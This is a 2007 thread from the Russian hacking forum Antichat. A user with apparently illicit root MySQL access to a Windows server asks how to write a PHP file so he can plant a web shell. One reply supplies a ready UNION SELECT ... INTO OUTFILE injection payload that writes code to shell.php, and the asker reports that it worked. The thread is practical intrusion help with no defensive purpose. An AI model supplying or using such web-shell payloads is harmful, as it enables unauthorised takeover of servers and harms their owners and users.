Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Веб шелл через MySQL. (https://forum.antichat.xyz/showthread.php?t=34804)

Horsekiller 06.03.2007 13:50

Веб шелл через MySQL.
 
Какой запрос нужно выполнить, чтобы создать php файл хотя бы с двумя строчками?
Кроме root доступа к MySQL ничего получить не могу, сервер под Windows NT MAIN 5.2 build 3790, приинклуженный r57 не редактирает, не загружает и не дает скачивать файлы.

FQziT 06.03.2007 13:52

Юзай Into Outfile

aka PSIH 06.03.2007 13:59

union+select+1,2,3,4,5,'код'+from+mysql.user+in to+outfile+'C:/dir/dir/shell.php'/*

Horsekiller 06.03.2007 14:01

Спасибо, сделал.


Время: 05:22